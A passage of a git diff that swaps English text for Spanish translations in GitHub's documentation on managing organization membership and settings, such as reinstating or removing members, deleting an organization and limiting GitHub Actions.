+También puedes considerar los {% data variables.product.prodname_emus %}. {% data reusables.enterprise-accounts.emu-short-summary %}
 {% endif %}
 
-## Adding users to your organization
+## Agregar usuarios a tu organización
 
-1. Provide each person instructions to [create a user account](/articles/signing-up-for-a-new-github-account).
-2. Ask for the username of each person you want to give organization membership to.
-3. [Invite the new personal accounts to join](/articles/inviting-users-to-join-your-organization) your organization. Use [organization roles](/articles/permission-levels-for-an-organization) and [repository permissions](/articles/repository-permission-levels-for-an-organization) to limit the access of each account.
+1. Proporciona a cada persona las instrucciones para [crear una cuenta de usuario](/articles/signing-up-for-a-new-github-account).
+2. Preguntar el nombre de usuario a cada persona a la que deseas dar membresía a la organización.
+3. [Invitar a las nuevas cuentas personales para que se unan](/articles/inviting-users-to-join-your-organization) a tu organización. Usar [roles de la organización](/articles/permission-levels-for-an-organization) y [permisos de repositorio](/articles/repository-permission-levels-for-an-organization) para limitar el acceso a cada cuenta.
diff --git a/translations/es-ES/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md b/translations/es-ES/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md
index 6df920f16c..b364a65fcc 100644
--- a/translations/es-ES/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md
+++ b/translations/es-ES/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md
@@ -13,7 +13,14 @@ topics:
 shortTitle: Export member information
 ---
 
-You can export information about members in your organization. This is useful if you want to perform an audit of users within the organization. The exported information includes username and display name details, and whether the membership is public or private.
+You can export information about members in your organization. This is useful if you want to perform an audit of users within the organization.
+
+The exported information includes:
+- Username and display name details
+- Whether the user has two-factor authentication enabled
+- Whether the membership is public or private
+- Whether the user is an organization owner or member
+- Datetime of the user's last activity (for a full list of relevant activity, see "[Managing dormant users](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)")
 
 You can get member information directly from the {% data variables.product.product_name %} user interface, or using APIs. This article explains how to obtain member information from within {% data variables.product.product_name %}.
 
diff --git a/translations/es-ES/content/organizations/managing-membership-in-your-organization/index.md b/translations/es-ES/content/organizations/managing-membership-in-your-organization/index.md
index 344036e617..1216f530f7 100644
--- a/translations/es-ES/content/organizations/managing-membership-in-your-organization/index.md
+++ b/translations/es-ES/content/organizations/managing-membership-in-your-organization/index.md
@@ -2,7 +2,7 @@
 title: Managing membership in your organization
 intro: 'After you create your organization, you can {% ifversion fpt %}invite people to become{% else %}add people as{% endif %} members of the organization. You can also remove members of the organization, and reinstate former members.'
 redirect_from:
-  - /articles/removing-a-user-from-your-organization/
+  - /articles/removing-a-user-from-your-organization
   - /articles/managing-membership-in-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/managing-membership-in-your-organization
 versions:
diff --git a/translations/es-ES/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md b/translations/es-ES/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md
index fac88da5ef..31b090c1f3 100644
--- a/translations/es-ES/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md
+++ b/translations/es-ES/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md
@@ -3,7 +3,7 @@ title: Inviting users to join your organization
 intro: 'You can invite anyone to become a member of your organization using their username or email address for {% data variables.product.product_location %}.'
 permissions: Organization owners can invite users to join an organization.
 redirect_from:
-  - /articles/adding-or-inviting-members-to-a-team-in-an-organization/
+  - /articles/adding-or-inviting-members-to-a-team-in-an-organization
   - /articles/inviting-users-to-join-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/inviting-users-to-join-your-organization
 versions:
diff --git a/translations/es-ES/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md b/translations/es-ES/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md
index c846119a93..09cef9868d 100644
--- a/translations/es-ES/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md
+++ b/translations/es-ES/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Reinstating a former member of your organization
-intro: 'Organization owners can {% ifversion fpt or ghec %}invite former organization members to rejoin{% else %}add former members to{% endif%} your organization, and choose whether to restore the person''s former role, access permissions, forks, and settings.'
+title: Volver a admitir a un miembro anterior de tu organización
+intro: 'Los propietarios de la organización pueden {% ifversion fpt or ghec %}invitar a miembros anteriores de la organización para volverse a unir a{% else %}agregar a miembros anteriores a{% endif%} tu organización y elegir si quieren restablecer el rol, permisos de acceso, bifurcaciones y configuraciones anteriores de dicha persona.'
 redirect_from:
   - /articles/reinstating-a-former-member-of-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/reinstating-a-former-member-of-your-organization
@@ -13,33 +13,33 @@ permissions: Organization owners can reinstate a former member of an organizatio
 topics:
   - Organizations
   - Teams
-shortTitle: Reinstate a member
+shortTitle: Reinstaurar a un miembro
 ---
 
-## About member reinstatement
+## Acerca de la reinstauración de miembros
 
-If you [remove a user from your organization](/articles/removing-a-member-from-your-organization){% ifversion ghae %} or{% else %},{% endif %} [convert an organization member to an outside collaborator](/articles/converting-an-organization-member-to-an-outside-collaborator){% ifversion not ghae %}, or a user is removed from your organization because you've [required members and outside collaborators to enable two-factor authentication (2FA)](/articles/requiring-two-factor-authentication-in-your-organization){% endif %}, the user's access privileges and settings are saved for three months. You can restore the user's privileges if you {% ifversion fpt or ghec %}invite{% else %}add{% endif %} them back to the organization within that time frame.
+Si [eliminas a un usuario de tu organizción](/articles/removing-a-member-from-your-organization){% ifversion ghae %} o{% else %}{% endif %}[ conviertes a un miembro de la organización en colaborador externo](/articles/converting-an-organization-member-to-an-outside-collaborator){% ifversion not ghae %} o si un usuario se elimina de tu orgnización porque [requeriste que los miembros y colaboradores externos habilitaran la autenticación bifactorial (2FA)](/articles/requiring-two-factor-authentication-in-your-organization){% endif %}, los privilegios de acceso y las configuraciones del usuario se guardarán durante tres meses. Puedes restablecer los privilegios del usuario si los vuelves a{% ifversion fpt or ghec %}invitar{% else %} agregar{% endif %} a la organización dentro de este periodo de tiempo.
 
 {% data reusables.two_fa.send-invite-to-reinstate-user-before-2fa-is-enabled %}
 
-When you reinstate a former organization member, you can restore:
- - The user's role in the organization
- - Any private forks of repositories owned by the organization
- - Membership in the organization's teams
- - Previous access and permissions for the organization's repositories
- - Stars for organization repositories
- - Issue assignments in the organization
- - Repository subscriptions (notification settings for watching, not watching, or ignoring a repository's activity)
+Cuando vuelvas a admitir a un miembro antiguo de la organización, puedes restaurar lo siguiente:
+ - El rol del usuario en la organización
+ - Cualquier bifurcación privada de los repositorios que son propiedad de la organización
+ - La membresía a los equipos de la organización
+ - El acceso y los permisos previos para los repositorios de la organización
+ - Las estrellas para los repositorios de la organización
+ - Las asignaciones de propuestas en la organización
+ - Las suscripciones a repositorios (los parámetros de notificaciones para observar, no observar o ignorar la actividad de un repositorio)
 
 {% ifversion ghes %}
-If an organization member was removed from the organization because they did not use two-factor authentication and your organization still requires members to use 2FA, the former member must enable two-factor authentication before you can reinstate their membership.
+Si se eliminó de la organización a un miembro de la organización porque no utilizó la autenticación de dos factores, y tu organización aún requiere que los miembros utilicen la 2FA, el miembro antiguo debe habilitar la autenticación de dos factores antes de que puedas reinstalar su membresía.
 {% endif %}
 
 {% ifversion fpt or ghec %}
-If your organization has a paid per-user subscription, an unused license must be available before you can reinstate a former organization member. For more information, see "[About per-user pricing](/articles/about-per-user-pricing)." {% data reusables.organizations.org-invite-scim %}
+Si tu organización tiene una suscripción de pago por usuario, debes de contar con una licencia disponible antes de que puedas volver a admitir a algún miembro anterior de la organización. Para obtener más información, consulta "[About per-user pricing](/articles/about-per-user-pricing)". {% data reusables.organizations.org-invite-scim %}
 {% endif %}
 
-## Reinstating a former member of your organization
+## Volver a admitir a un miembro anterior de tu organización
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
@@ -47,23 +47,19 @@ If your organization has a paid per-user subscription, an unused license must be
 {% data reusables.organizations.invite_member_from_people_tab %}
 {% data reusables.organizations.reinstate-user-type-username %}
 {% ifversion fpt or ghec %}
-6. Choose whether to restore that person's previous privileges in the organization or clear their previous privileges and set new access permissions, then click **Invite and reinstate** or **Invite and start fresh**.
-  ![Choose to restore info or not](/assets/images/help/organizations/choose_whether_to_restore_org_member_info.png)
+6. Decide si quieres restaurar los privilegios antiguos de esa persona en la organización o eliminar sus privilegios antiguos y establecer nuevos permisos de acceso, luego haz clic en **Invite and reinstate** (Invitar y reinstalar) o **Invite and start fresh** (Invitar e iniciar de nuevo). ![Decide si quieres restaurar la información o no](/assets/images/help/organizations/choose_whether_to_restore_org_member_info.png)
 {% else %}
-6. Choose whether to restore that person's previous privileges in the organization or clear their previous privileges and set new access permissions, then click **Add and reinstate** or **Add and start fresh**.
-  ![Choose whether to restore privileges](/assets/images/help/organizations/choose_whether_to_restore_org_member_info_ghe.png)
+6. Decide si quieres restaurar los privilegios antiguos de esa persona en la organización o eliminar sus privilegios antiguos y establecer nuevos permisos de acceso, luego haz clic en **Add and reinstate** (Agregar y reinstalar) o **Add and start fresh** (Agregar e iniciar de nuevo). ![Decide si quieres restaurar los privilegios](/assets/images/help/organizations/choose_whether_to_restore_org_member_info_ghe.png)
 {% endif %}
 {% ifversion fpt or ghec %}
-7. If you cleared the previous privileges for a former organization member, choose a role for the user, and optionally add them to some teams, then click **Send invitation**.
-  ![Role and team options and send invitation button](/assets/images/help/organizations/add-role-send-invitation.png)
+7. Si eliminaste los privilegios anteriores de un miembro anterior de la organización, elige un rol para el usuario, y, de manera opcional, agrégalo a algunos equipos, luego haz clic en **Enviar invitación**. ![Opciones de rol y equipo y botón para enviar invitación](/assets/images/help/organizations/add-role-send-invitation.png)
 {% else %}
-7. If you cleared the previous privileges for a former organization member, choose a role for the user, and optionally add them to some teams, then click **Add member**.
-  ![Role and team options and add member button](/assets/images/help/organizations/add-role-add-member.png)
+7. Si eliminaste los privilegios anteriores de un miembro anterior de la organización, elige un rol para el usuario y, de manera opcional, agrégalo a algunos equipos, luego haz clic en **Agregar miembro**. ![Opciones de rol y equipo y botón para agregar miembros](/assets/images/help/organizations/add-role-add-member.png)
 {% endif %}
 {% ifversion fpt or ghec %}
 {% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %}
 {% endif %}
 
-## Further reading
+## Leer más
 
-- "[Converting an organization member to an outside collaborator](/articles/converting-an-organization-member-to-an-outside-collaborator)"
+- "[Convertir a un miembro de la organización en colaborador externo](/articles/converting-an-organization-member-to-an-outside-collaborator)"
diff --git a/translations/es-ES/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md b/translations/es-ES/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md
index 160e49af6a..be38dbfbf7 100644
--- a/translations/es-ES/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md
+++ b/translations/es-ES/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Removing a member from your organization
-intro: 'If members of your organization no longer require access to any repositories owned by the organization, you can remove them from the organization.'
+title: Eliminar a un miembro de tu organización
+intro: 'Si miembros de tu organización ya no necesitan acceso a ningún repositorio que le pertenece a la organización, puedes eliminarlos de la organización.'
 redirect_from:
   - /articles/removing-a-member-from-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/removing-a-member-from-your-organization
@@ -12,22 +12,22 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Remove a member
+shortTitle: Eliminar a un miembro
 ---
 
-Only organization owners can remove members from an organization.
+Solo los propietarios de la organización pueden eliminar usuarios de una organización.
 
 {% ifversion fpt or ghec %}
 
 {% warning %}
 
-**Warning:** When you remove members from an organization:
-- The paid license count does not automatically downgrade. To pay for fewer licenses after removing users from your organization, follow the steps in "[Downgrading your organization's paid seats](/articles/downgrading-your-organization-s-paid-seats)."
-- Removed members will lose access to private forks of your organization's private repositories, but they may still have local copies. However, they cannot sync local copies with your organization's repositories. Their private forks can be restored if the user is [reinstated as an organization member](/articles/reinstating-a-former-member-of-your-organization) within three months of being removed from the organization. Ultimately, you are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property.
+**Advertencia:** Cuando eliminas a algún miembro de una organización:
+- La cuenta de licencias pagadas no baja de categoría automáticamente. Para pagar por menos licencias después de eliminar usuarios de tu organización, sigue los pasos de la sección "[Bajar el cupo límite de plazas pagadas en tu organización](/articles/downgrading-your-organization-s-paid-seats)".
+- Los miembros eliminados perderán el acceso a las bifurcaciones privadas de los repositorios privados de tu organización, pero aún podrían tener copias locales de estas. Sin embargo, no pueden sincronizar las copias locales con tus repositorios de la organización. Se pueden restaurar las bifurcaciones privadas del usuario si se lo reinstala [como miembro de la organización](/articles/reinstating-a-former-member-of-your-organization) dentro de los tres meses posteriores a haber sido eliminado de la organización. En última instancia, tú eres el responsable de asegurar que las personas que perdieron acceso a un repositorio borren cualquier información confidencial o propiedad intelectual.
 {%- ifversion ghec %}
--  Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization owned by the same enterprise account. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+-  Los miembros eliminados también perderán acceso a las bifurcaciones privadas de los repositorios internos de tu organización en caso de que el miembro eliminado no es miembro de alguna otra organización que le pertenezca a la misma cuenta empresarial. Para obtener más información, consulta "[Acerca de las cuentas de empresa](/admin/overview/about-enterprise-accounts)".
 {%- endif %}
-- Any organization invitations sent by a removed member, that have not been accepted, are cancelled and will not be accessible.
+- Cualquier invitación a una organización que envíe un miembro eliminado, y que no se haya aceptado, se cancelará y no se podrá acceder a ella.
 
 {% endwarning %}
 
@@ -35,10 +35,10 @@ Only organization owners can remove members from an organization.
 
 {% warning %}
 
-**Warning:** When you remove members from an organization:
- - Removed members will lose access to private forks of your organization's private repositories, but may still have local copies. However, they cannot sync local copies with your organization's repositories. Their private forks can be restored if the user is [reinstated as an organization member](/articles/reinstating-a-former-member-of-your-organization) within three months of being removed from the organization. Ultimately, you are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property.
-- Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization in your enterprise.
- - Any organization invitations sent by the removed user, that have not been accepted, are cancelled and will not be accessible.
+**Advertencia:** Cuando eliminas a algún miembro de una organización:
+ - Los miembros eliminados perderán el acceso a las bifurcaciones privadas de los repositorios privados de tu organización, pero aún podrían tener copias locales de estas. Sin embargo, no pueden sincronizar las copias locales con tus repositorios de la organización. Se pueden restaurar las bifurcaciones privadas del usuario si se lo reinstala [como miembro de la organización](/articles/reinstating-a-former-member-of-your-organization) dentro de los tres meses posteriores a haber sido eliminado de la organización. En última instancia, tú eres el responsable de asegurar que las personas que perdieron acceso a un repositorio borren cualquier información confidencial o propiedad intelectual.
+- Los miembros eliminados también perderán acceso a las bifurcaciones privadas de los repositorios internos de tu organización si el miembro que s eliminó no es miembro de otra organización de tu empresa.
+ - Cualquier invitación a una organización que envíe el usuario eliminado y que no se haya aceptado se cancelará y no se podrá acceder a ella.
 
 {% endwarning %}
 
@@ -46,24 +46,21 @@ Only organization owners can remove members from an organization.
 
 {% ifversion fpt or ghec %}
 
-To help the person you're removing from your organization transition and help ensure they delete confidential information or intellectual property, we recommend sharing a checklist of best practices for leaving your organization. For an example, see "[Best practices for leaving your company](/articles/best-practices-for-leaving-your-company/)."
+Para ayudar con la transición de la persona que estás eliminando de tu organización y ayudar a asegurar que elimine la información confidencial o propiedad intelectual, recomendamos compartir una lista de verificación para salir de tu organización. Para ver un ejemplo, consulta "[Buenas prácticas para salir de tu empresa](/articles/best-practices-for-leaving-your-company/)".
 
 {% endif %}
 
 {% data reusables.organizations.data_saved_for_reinstating_a_former_org_member %}
 
-## Revoking the user's membership
+## Revocar la membresía del usuario
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
-4. Select the member or members you'd like to remove from the organization.
-  ![List of members with two members selected](/assets/images/help/teams/list-of-members-selected-bulk.png)
-5. Above the list of members, use the drop-down menu, and click **Remove from organization**.
-  ![Drop-down menu with option to remove members](/assets/images/help/teams/user-bulk-management-options.png)
-6. Review the member or members who will be removed from the organization, then click **Remove members**.
-  ![List of members who will be removed and Remove members button](/assets/images/help/teams/confirm-remove-members-bulk.png)
+4. Selecciona el miembro o los miembros que quieres eliminar de la organización. ![Lista de miembros con dos miembros seleccionados](/assets/images/help/teams/list-of-members-selected-bulk.png)
+5. Arriba de la lista de miembros, utiliza el menú desplegable y haz clic en **Remove from organization** (Eliminar de la organización). ![Menú desplegable con la opción para eliminar miembros](/assets/images/help/teams/user-bulk-management-options.png)
+6. Revisa el miembro o los miembros que se eliminarán de la organización, luego haz clic en **Remove members** (Eliminar miembros). ![Lista de miembros que se eliminarán y botón Remove members (Eliminar miembros)](/assets/images/help/teams/confirm-remove-members-bulk.png)
 
-## Further reading
+## Leer más
 
-- "[Removing organization members from a team](/articles/removing-organization-members-from-a-team)"
+- "[Eliminar de un equipo a miembros de la organización](/articles/removing-organization-members-from-a-team)"
diff --git a/translations/es-ES/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md b/translations/es-ES/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md
index 4fcc9475d4..3306e1f73b 100644
--- a/translations/es-ES/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md
+++ b/translations/es-ES/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Allowing people to delete issues in your organization
-intro: Organization owners can allow certain people to delete issues in repositories owned by your organization.
+title: Permitir que personas eliminen propuestas en tu organización
+intro: Los propietarios de la organización pueden permitir que determinadas personas eliminen propuestas en repositorios que pertenecen a tu organización.
 redirect_from:
   - /articles/allowing-people-to-delete-issues-in-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/allowing-people-to-delete-issues-in-your-organization
@@ -12,16 +12,15 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Allow issue deletion
+shortTitle: Permitir el borrado de propuestas
 ---
 
-By default, issues cannot be deleted in an organization's repositories. An organization owner must enable this feature for all of the organization's repositories first.
+Por defecto, las propuestas no pueden eliminarse en los repositorios de una organización. El propietario de la organización debe habilitar esta característica para todos los repositorios de la organización en primer lugar.
 
-Once enabled, organization owners and people with admin access in an organization-owned repository can delete issues. People with admin access in a repository include organization members and outside collaborators who were given admin access. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" and "[Deleting an issue](/articles/deleting-an-issue)."
+Una vez habilitada, los propietarios de la organización y las personas con acceso administrativo a un repositorio que pertenezca a la organización podrán borrar las propuestas. Entre las personas con acceso administrativo en un repositorio se incluyen los miembros de la organización y colaboradores externos que obtuvieron acceso administrativo. Para obtener más información, consulte la sección "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" y "[Borrar una propuesta](/articles/deleting-an-issue)".
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.member-privileges %}
-5. Under "Issue deletion", select **Allow members to delete issues for this organization**.
-![Checkbox to allow people to delete issues](/assets/images/help/settings/issue-deletion.png)
-6. Click **Save**.
+5. En "Issue deletion" (Eliminación de la propuesta), selecciona **Permitir que los miembros eliminen propuestas para esta organización**. ![Casilla de verificación para permitir que las personas eliminen propuestas](/assets/images/help/settings/issue-deletion.png)
+6. Haz clic en **Save ** (guardar).
diff --git a/translations/es-ES/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md b/translations/es-ES/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md
index 2465aeb1de..eb6b8fa7ca 100644
--- a/translations/es-ES/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md
+++ b/translations/es-ES/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md
@@ -1,6 +1,6 @@
 ---
-title: Changing the visibility of your organization's dependency insights
-intro: You can allow all organization members to view dependency insights for your organization or limit viewing to organization owners.
+title: Cambiar la visibilidad de la información de dependencias de la organización
+intro: Puedes permitir que todos los miembros de la organización vean información de dependencias para tu organización o limiten la visualización de los propietarios de la organización.
 product: '{% data reusables.gated-features.org-insights %}'
 redirect_from:
   - /articles/changing-the-visibility-of-your-organizations-dependency-insights
@@ -11,16 +11,17 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Change insight visibility
+shortTitle: Cambiar la visbilidad de las perspectivas
 ---
 
-Organization owners can set limitations for viewing organization dependency insights. All members of an organization can view organization dependency insights by default.
+Los propietarios de la organización pueden establecer limitaciones para ver la información de dependencias de la organización. De manera predeterminada, todos los miembros de una organización pueden ver información de la dependencia de la organización.
 
-Enterprise owners can set limitations for viewing organization dependency insights on all organizations in your enterprise account. For more information, see "[Enforcing policies for dependency insights in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)."
+{% ifversion ghec %}
+Los propietarios de la empresa pueden establecer limitaciones para ver la información de las dependencias de la organización en todas las organizaciones de tu cuenta de empresa. Para obtener más información, consulta la sección "[Requerir políticas para las perspectivas de dependencias en tu empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)".
+{% endif %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.member-privileges %}
-5. Under "Member organization permissions", select or unselect **Allow members to view dependency insights**.
-![Checkbox to allow members to view insights](/assets/images/help/organizations/allow-members-to-view-insights.png)
-6. Click **Save**.
+5. En "Member organization permissions" (Permisos para miembros de la organización), selecciona o quita la marca de selección de **Allow members to view dependency insights** (Permitir que los miembros vean información de dependencias). ![Casilla de verificación para permitir que los miembros vean información](/assets/images/help/organizations/allow-members-to-view-insights.png)
+6. Haz clic en **Save ** (guardar).
diff --git a/translations/es-ES/content/organizations/managing-organization-settings/deleting-an-organization-account.md b/translations/es-ES/content/organizations/managing-organization-settings/deleting-an-organization-account.md
index c3360a5de4..d65a325759 100644
--- a/translations/es-ES/content/organizations/managing-organization-settings/deleting-an-organization-account.md
+++ b/translations/es-ES/content/organizations/managing-organization-settings/deleting-an-organization-account.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting an organization account
-intro: 'When you delete an organization, all repositories, forks of private repositories, wikis, issues, pull requests, and Project or Organization Pages are deleted as well. {% ifversion fpt or ghec %}Your billing will end, and after 90 days the organization name becomes available for use on a new user or organization account.{% endif %}'
+title: Eliminar una cuenta de una organización
+intro: 'Cuando eliminas una organización, se eliminan también todos los repositorios, bifurcaciones de repositorios privados, wikis, propuestas, solicitudes de extracción y páginas del proyecto y de la organización. {% ifversion fpt or ghec %}Tu facturación terminará y, después de 90 días, el nombre de la organización estará disponible para que una cuenta de organización o de usuario nueva lo utilice.{% endif %}'
 redirect_from:
   - /articles/deleting-an-organization-account
   - /github/setting-up-and-managing-organizations-and-teams/deleting-an-organization-account
@@ -12,25 +12,24 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Delete organization account
+shortTitle: Borrar una cuenta organizacional
 ---
 
 {% ifversion fpt or ghec %}
 {% tip %}
 
-**Tip**: If you want to cancel your paid subscription, you can [downgrade your organization to {% data variables.product.prodname_free_team %}](/articles/downgrading-your-github-subscription) instead of deleting the organization and its content.
+**Sugerencia**: Si deseas cancelar tu suscripción paga, puedes [bajar la categoría de tu organización a {% data variables.product.prodname_free_team %}](/articles/downgrading-your-github-subscription) en lugar de eliminar la organización y su contenido.
 
 {% endtip %}
 
 {% endif %}
 
-## 1. Back up your organization content
+## 1. Haz una copia de respaldo del contenido de tu organización
 
-Once you delete an organization, GitHub **cannot restore your content**. Therefore, before you delete your organization, make sure you have a copy of all repositories, wikis, issues, and project boards from the account.
+Una vez que eliminas una organización, GitHub **no puede restaurar su contenido**. Por lo tanto, antes de que borres tu organización, asegúrate de que tengas una copia de todos los repositorios, wikis, propuestas y tableros de proyecto de la cuenta.
 
-## 2. Delete the organization
+## 2. Elimina la organización
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
-4. Near the bottom of the organization's settings page, click **Delete this Organization**.
-   ![Delete this organization button](/assets/images/help/settings/settings-organization-delete.png)
+4. Junto a la parte inferior de la página de configuración de la organización, haz clic en **Eliminar esta organización**. ![Botón Eliminar esta organización](/assets/images/help/settings/settings-organization-delete.png)
diff --git a/translations/es-ES/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md b/translations/es-ES/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md
index 753c2e3f39..e159871452 100644
--- a/translations/es-ES/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md
+++ b/translations/es-ES/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Disabling or limiting GitHub Actions for your organization
-intro: 'Organization owners can disable, enable, and limit GitHub Actions for an organization.'
+title: Inhabilitar o limitar GitHub Actions para tu organización
+intro: 'Los propietarios de organización pueden inhabilitar, habilitar y limitar GitHub Actions para la misma.'
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization
 versions:
@@ -11,60 +11,59 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Disable or limit actions
+shortTitle: Inhabilitar o limitar las acciones
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About {% data variables.product.prodname_actions %} permissions for your organization
+## Acerca de los permisos de {% data variables.product.prodname_actions %} para tu organización
 
-{% data reusables.github-actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)."
+{% data reusables.github-actions.disabling-github-actions %}Para obtener más información acerca de {% data variables.product.prodname_actions %}, consulta la sección "[Acerca de {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)".
 
-You can enable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.github-actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.github-actions.disabled-actions-description %}
+Puedes habilitar {% data variables.product.prodname_actions %} para todos los repositorios en tu organización. {% data reusables.github-actions.enabled-actions-description %}Puedes inhabilitar {% data variables.product.prodname_actions %} para todos los repositorios en tu organización. {% data reusables.github-actions.disabled-actions-description %}
 
-Alternatively, you can enable {% data variables.product.prodname_actions %} for all repositories in your organization but limit the actions a workflow can run. {% data reusables.github-actions.enabled-local-github-actions %}
+De manera alterna, puedes habilitar {% data variables.product.prodname_actions %} para todos los repositorios en tu organización, pero limitando las acciones que un flujo de trabajo puede ejecutar. {% data reusables.github-actions.enabled-local-github-actions %}
 
-## Managing {% data variables.product.prodname_actions %} permissions for your organization
+## Administrar los permisos de {% data variables.product.prodname_actions %} para tu organización
 
-You can disable all workflows for an organization or set a policy that configures which actions can be used in an organization.
+Puedes inhabilitar todos los flujos de trabajo para una organización o configurar una política que configure qué acciones pueden utilizarse en una organización.
 
 {% data reusables.actions.actions-use-policy-settings %}
 
 {% note %}
 
-**Note:** You might not be able to manage these settings if your organization is managed by an enterprise that has overriding policy. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)."
+**Nota:** Tal vez no puedas administrar estas configuraciones si la empresa que administra tu organización tiene una política que lo anule. Para obtener más información, consulta la sección "[Requerir políticas para la {% data variables.product.prodname_actions %} en tu empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)".
 
 {% endnote %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.settings-sidebar-actions %}
-1. Under **Policies**, select an option.
-  ![Set actions policy for this organization](/assets/images/help/organizations/actions-policy.png)
-1. Click **Save**.
+1. Debajo de **Políticas**, selecciona una opción. ![Configurar la política de acciones para esta organización](/assets/images/help/organizations/actions-policy.png)
+1. Haz clic en **Save ** (guardar).
 
-## Allowing specific actions to run
+## Permitir que se ejecuten acciones específicas
 
 {% data reusables.actions.allow-specific-actions-intro %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.settings-sidebar-actions %}
-1. Under **Policies**, select **Allow select actions** and add your required actions to the list.
+1. Debajo de **Políticas**, selecciona **Permitir las acciones seleccionadas** y agrega tus acciones requeridas a la lista.
    {%- ifversion ghes > 3.0 %}
-   ![Add actions to allow list](/assets/images/help/organizations/actions-policy-allow-list.png)
+   ![Agregar acciones a la lista de permitidos](/assets/images/help/organizations/actions-policy-allow-list.png)
    {%- else %}
-   ![Add actions to allow list](/assets/images/enterprise/github-ae/organizations/actions-policy-allow-list.png)
+   ![Agregar acciones a la lista de permitidos](/assets/images/enterprise/github-ae/organizations/actions-policy-allow-list.png)
    {%- endif %}
-1. Click **Save**.
+1. Haz clic en **Save ** (guardar).
 
 {% ifversion fpt or ghec %}
-## Configuring required approval for workflows from public forks
+## Configurar las aprobaciones requeridas para los flujos de trabajo desde las bifurcaciones pùblicas
 
 {% data reusables.actions.workflow-run-approve-public-fork %}
 
-You can configure this behavior for an organization using the procedure below. Modifying this setting overrides the configuration set at the enterprise level.
